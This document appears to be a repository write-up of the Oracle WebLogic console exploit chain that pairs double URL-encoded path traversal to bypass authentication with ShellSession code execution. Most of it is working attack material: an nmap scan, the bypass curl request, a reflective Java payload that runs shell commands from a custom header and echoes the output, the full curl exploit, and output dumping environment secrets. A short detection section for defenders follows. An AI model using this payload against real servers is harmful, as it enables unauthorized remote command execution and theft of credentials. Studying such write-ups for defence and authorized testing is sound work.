
Technical analysis and clean Java Thread Echo PoC for Oracle WebLogic Server vulnerability chain.
The repository contains a technical report (Write-up) and a conceptual Proof of Concept (PoC) demonstrating the chained Authentication Bypass and Remote Code Execution (RCE) vulnerabilities in the Oracle WebLogic Server administration console component.
🛑 WARNING & DISCLAIMER: This material is prepared solely for educational purposes and for conducting legitimate security audits (Pentest). Use of the described techniques against systems without prior written consent from their owners is prosecuted by law.
12.2.1.3 deployednmap, curl, bashTo determine the attack surface, a targeted scan of standard web service ports and Java application administration ports was performed:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Controlled terminal output:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3 branch. The enabled T3 protocol also points to alternative vectors, but for this research the HTTP web interface of the console was chosen.Analysis of the path structure showed that the web server incorrectly handles parent directory traversal sequences when they are double URL-encoded. The /console/css/ resource is open for static content. We craft a request to access the protected portal:
/console/css/%252e%252e%252fconsole.portalWe verify the server's availability and behavior (expecting status 200 OK instead of 403 Forbidden or 302 Redirect to the login page):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Server response:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
By combining the authorization bypass with a call to the session handler com.tangosol.coherence.mvel2.sh.ShellSession, we gain the ability to execute arbitrary Java code.
Regular command execution via java.lang.Runtime is "blind" (Blind RCE). To implement the Command Echo technique (returning terminal output directly in the body of the HTTP response), a dedicated reflective Java payload was developed.
// 1. Hijack the current WebLogic execution thread
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Extract the internal connection handler via the Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Gain access to the Request and Response objects of the current session
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Read the custom HTTP header sent by the attacker
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Determine the target system's OS to properly invoke the shell
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Execute the system command and read the Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Force-write the result back into the web server's output HTTP stream
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Interrupt the thread for an immediate HTTP packet delivery to the client
executeThread.interrupt();
To automate the delivery of the Java context, we assemble the final curl command. We pass the payload in the POST parameter handle, and the command of interest in the custom header X-CMD-HEADER: env.
This approach protects data from corruption by the researcher's local Bash command-line interpreter.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Real verified output (Environment variables dump):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) error at the very end of the log confirms the successful exploitation. It is caused by the executeThread.interrupt() instruction, which forcibly terminates the TCP session immediately after the buffer with the output of the env command has been sent to the client.7001, /console) from the external perimeter (access only via internal VPN/micro-segmentation).%252e) combined with specific Java class invocations.For security monitoring specialists (SOC/Blue Team), the successful exploitation of this vulnerability chain leaves clear traces in the infrastructure.
In the WebLogic web server logs (usually located in access.log), the attack marker is the presence of double URL-encoded dots and slashes combined with access to the administration portal through static directories:
.. substrings: %252e%252e%252f or %252e%252e%252F within the URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
If process auditing is configured on the server (e.g., via Auditd on Linux or Sysmon on Windows), a sign of Remote Code Execution will be anomalous behavior of the parent Java process:
/bin/sh, /bin/bash, or cmd.exe) is the Java worker process under which the application server runs:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER or X-Forwarded-Cmd) used by the attacker to deliver the payload (Command Echo).